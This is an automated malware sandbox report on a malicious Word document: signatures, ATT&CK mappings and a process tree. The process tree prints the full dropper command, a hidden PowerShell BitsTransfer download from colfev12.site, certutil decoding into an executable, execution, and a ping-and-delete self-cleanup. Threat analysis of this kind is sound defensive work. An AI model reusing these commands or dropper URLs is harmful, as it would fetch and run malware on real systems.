Overview

overview

10

task1

 

6

task2

 

10

Analysis

  • max time kernel
    122s
  • resource
    win7v191014
  • submitted
    05-12-2019 20:53

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Docs_92ebafcc950619596e93a4215d05e6cb.doc

  • Sample

    191205-xsaajpnzhs

  • SHA256

    94c241402910892dc472c95bec71350b2201bb0b3216b0ea988782af6a05c08a

Score
6/10
discoveryevasionspreading

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://colfev12.site/Bijka.dat
exe.dropper

http://colfev12.site/sfera.dat
exe.dropper

http://colfev12.site/oYWE.dat

Signatures

  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in System32 directory 4 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Checks for installed software on the system 1 TTPs 34 IoCs
    discovery
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Drops file in Windows directory 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
    evasionspreading
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_92ebafcc950619596e93a4215d05e6cb.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    • Suspicious behavior: AddClipboardFormatListener
    PID:1516
  • C:\Windows\system32\cmd.exe
    cmd /c powershell -windowstyle hidden -command Import-Module BitsTransfer; Start-BitsTransfer -Source http://colfev12.site/Bijka.dat,http://colfev12.site/sfera.dat,http://colfev12.site/oYWE.dat -Destination \"$env:TEMP\blow.exe\",\"$env:TEMP\dera\",\"$env:TEMP\oYWE.exe\" & certutil -decode %temp%\dera %temp%\dera.exe & powershell -windowstyle hidden -command Set-Location -Path \"$env:TEMP\"; Start-Process blow.exe -ArgumentList dera.exe
    1⤵
      PID:1968
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -windowstyle hidden -command Import-Module BitsTransfer; Start-BitsTransfer -Source http://colfev12.site/Bijka.dat,http://colfev12.site/sfera.dat,http://colfev12.site/oYWE.dat -Destination \"$env:TEMP\blow.exe\",\"$env:TEMP\dera\",\"$env:TEMP\oYWE.exe\"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        • Drops file in System32 directory
        PID:880
      • C:\Windows\system32\certutil.exe
        certutil -decode C:\Users\Admin\AppData\Local\Temp\dera C:\Users\Admin\AppData\Local\Temp\dera.exe
        2⤵
        • Drops file in Windows directory
        PID:1880
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -windowstyle hidden -command Set-Location -Path \"$env:TEMP\"; Start-Process blow.exe -ArgumentList dera.exe
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        • Drops file in System32 directory
        • Suspicious use of WriteProcessMemory
        PID:384
        • C:\Users\Admin\AppData\Local\Temp\blow.exe
          "C:\Users\Admin\AppData\Local\Temp\blow.exe" dera.exe
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1876
          • C:\Users\Admin\AppData\Local\Temp\blow.exe
            "C:\Users\Admin\AppData\Local\Temp\blow.exe"
            4⤵
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of WriteProcessMemory
            PID:1400
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\blow.exe"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1756
              • C:\Windows\SysWOW64\PING.EXE
                ping 127.0.0.1
                6⤵
                • Runs ping.exe
                PID:1680
    • C:\Windows\system32\conhost.exe
      \??\C:\Windows\system32\conhost.exe "13736575861871489881-16881607701145638119-1445741727-334327988-15014401241888056553"
      1⤵
      • Suspicious use of SetWindowsHookEx
      PID:1444
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
        PID:1264
      • C:\Windows\system32\conhost.exe
        \??\C:\Windows\system32\conhost.exe "37956094-1825198222-58501999118936678274608593271658810211556128713-1808702404"
        1⤵
        • Suspicious use of SetWindowsHookEx
        PID:1556

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Initial Access

      Execution

      Persistence

      Privilege Escalation

      Defense Evasion

      Credential Access

      Discovery

      Query Registry

      3
      T1012

      System Information Discovery

      1
      T1082

      Remote System Discovery

      1
      T1018

      Lateral Movement

      Collection

      Exfiltration

      Command and Control

      Impact

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ef13c2a6-fcdf-474f-b686-be9a419bd5e9
        Download Submit
      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
        Download Submit
      • C:\Users\Admin\AppData\Local\Temp\dera.exe
        Download Submit
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        Download Submit
      • memory/1400-9-0x0000000000080000-0x00000000000DD000-memory.dmp
        Filesize

        372KB

        Download
      • memory/1400-10-0x0000000000080000-0x00000000000DD000-memory.dmp
        Filesize

        372KB

        Download
      • memory/1516-0-0x0000000006500000-0x0000000006504000-memory.dmp
        Filesize

        16KB

        Download